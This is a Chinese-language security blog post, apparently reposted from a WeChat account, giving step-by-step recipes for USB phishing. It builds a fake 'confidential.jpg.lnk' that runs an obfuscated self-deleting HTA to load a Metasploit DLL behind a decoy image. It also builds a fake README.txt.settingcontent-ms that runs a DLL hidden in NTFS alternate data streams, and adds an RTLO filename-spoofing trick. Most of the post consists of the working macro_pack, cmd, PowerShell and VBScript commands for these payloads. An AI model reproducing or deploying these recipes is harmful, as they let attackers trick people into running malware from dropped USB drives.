前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >USB钓鱼几种方式总结。

USB钓鱼几种方式总结。

作者头像
重生信息安全
发布2020-03-06 15:18:44
1.2K0
发布2020-03-06 15:18:44
举报
文章被收录于专栏:重生信息安全重生信息安全

方式一:引诱目标点开“美图”

当目标点开美图(恶意LNK快捷方式文件:confidential.jpg.lnk),使目标认为他正在打开图像(confidential.jpg),HTA dropper 隐藏在快捷方式文件中。LNK将执行HTA,HTA将依次执行并删除的DLL payload,并且用诱饵图片替换快捷方式(confidential.jpg)。过程如下:

利用过程如下:

1.MSF生成dll payload,这里用TheFatRat快速生成:

2.用macro_pack生成一个经过混淆的HTA payload,他将会执行并删除dll

echo DllMain | macro_pack.exe --template=EMBED_DLL --embed=dll_payload.dll --obfuscate -G payload.hta

EMBED_DLL模板将创建一个VB代码,该代码将加载并删除“-embed”指定的文件,并用rundll32加载;-G是指生成hta文件

3.同样用macro_pack生成另外一个经过混淆的HTA payload,他将完成替换删除.lnk的功能。当我们将其放置于恶意LNK在同一文件夹下。运行后将替换.lnk,释放“美图”

echo "wuyifan.jpg" | macro_pack.exe -t EMBED_EXE --embed=wuyifan.jpg -o -G pic.hta

如果你此时双击pic.hta,会生成wuyifan.jpg,但是此时pic.hta没有自删除

4.整合上述的两步形成一个自删除的HTA文件:打开pic.hta将AutoOpen函数名修改为AutoOpen2

删除payload.hta的vb代码的后两行(AutoOpen和Close),将pic.hta中的vb代码(除了最后两行AutoOpen和Close)复制到payload.hta的vb脚本末尾,后并添加以下代码:

代码语言:javascript
复制
AutoOpen2
AutoOpen
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Set WshShell = CreateObject("WScript.Shell")
objFSO.DeleteFile window.document.location.pathname
Close
 

现在运行payload.hta将运行dll,生成wuyifan.jpg并自删除

5.将payload.hta嵌入到.lnk文件中,我们希望它能用mshta.exe来解析从而触发payload,如运行一下命令:

%windir%\system32\cmd.exe /c start "" "mshta" "%CD%\confidential.jpg.lnk"

当payload构成放在USB中,我们需要知道当前路径,%cd%将提供当前的路径名称

使用macro_pack生成lnk,这里U盘的盘符为”F:”,运行一下命令生成lnk:

macro_pack.exe -G G:\confidential.jpg.lnk

* 当提示输入”Shortcut_Target”时输入我们需要打开link运行的命令:

%windir%\system32\cmd.exe /c start "" "mshta" "%CD%\wuyifan.jpg.lnk"

* 当提示输入”Shortcut_Icon”时输入:

%windir%\system32\imageres.dll,67

这里主要是为了保证lnk的图标为JPG图像的图标,和imageres.dll中67位索引相对应

6.将.lnk和payload.hta合并到一起就OK了,运行:

copy /b F:\wuyifan.jpg.lnk+payload.hta F:\wuyifan.jpg.lnk

运行效果见:USB_lnk.gif

说明:

当在USB中双击wuyifan.jpg.lnk,会触发payload,加载DLL并隐藏到%TEMP%\Document1.asd中,加载payload的方式为:

代码语言:javascript
复制
CreateObject("WScript.Shell").Run "%windir%\system32\rundll32.exe %temp%\Document1.asd,<<<DLL_FUNCTION>>>", 0

在任务管理器中会发现图片正使用taskmgr或者Sysinternals procexp运行,并且lnk文件被真实的图片替换,实例中USB文件运行的命令容易被杀软识别出来

方式二:针对”README.txt”文件

当目标打开README.txt时,实际上运行的是恶意的settingcontent-ms文件,文件结构准遵循XML模式,不能像上述方法与hta文件组合。我们将使用NTFS备用数据流来隐藏和运行dll payload

此settingcontent-ms文件将执行隐藏在备份数据流(README.txt.settingcontent-ms:R)中的DLL,并将以记事本运行存储在另一个ADS中的诱饵文本(README.txt.settingcontent-ms:T.txt),相比第一种方式它没有想.lnk或者.uri那样的快捷箭头

利用过程如下:

1.构建诱饵文本文件,当目标打开时显示文本

echo "Hello World!" > Text.txt

2. 构建恶意设置的快捷方式文件。使用macro_pack生成settingcontent-ms文件,例如要生成一个README.txt文档,该文档的启动运行calc.exe

代码语言:javascript
复制
echo 'C:\windows\system32\cmd.exe /c calc.exe' '.' |  macro_pack.exe -G README.txt.settingcontent-ms 

但是我们真正要启动的是隐藏在NTFS文件系统备份数据流中的DLL payload和诱饵文件。这里有个问题是setcontent-ms文件默认在“C:\Windows\System32”中打开,这样我们必须知道USB的盘符,为此使用Powershell的脚本如下:

代码语言:javascript
复制
%windir%\system32\cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$drive\README.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$drive\README.txt.settingcontent-ms:R"

上述命令将调用wmi将盘符赋值给$drive变量;启动记事本打开诱惑文档README.txt.settingcontent-ms:T.txt;启动control.exe打开README.txt.settingcontent-ms:R中的DLL payload,其中DLL也可以同rundll32加载。将上述命令替换刚才生成calc命令,最终的README.txt.settingcontent-ms文件如下:

3. 创建备用数据流。去报USB已经使用NTFS文件系统格式化,当前USB的盘符为“F:”,创建ADS,README.txt.settingcontent-ms:R 包含DLL:

type dll_payload.dll > F:\README.txt.settingcontent-ms:R

READNE.txt.settingcontent-ms:T.txt 包含诱饵文本:

type Text.txt > F:\README.txt.settingcontent-ms:T.txt

使用streams命令可以检查创建的ADS流

PS:使用macro_pack生成RTLO翻转运行calc的hta文件,运行:

echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg

生成的文件名为calcath.jpg,实际上是calc[rtlo]gpj.hta,此方法也适用于其他操作系统,但是打开运行的程序可能不同

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-12-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 重生信息安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档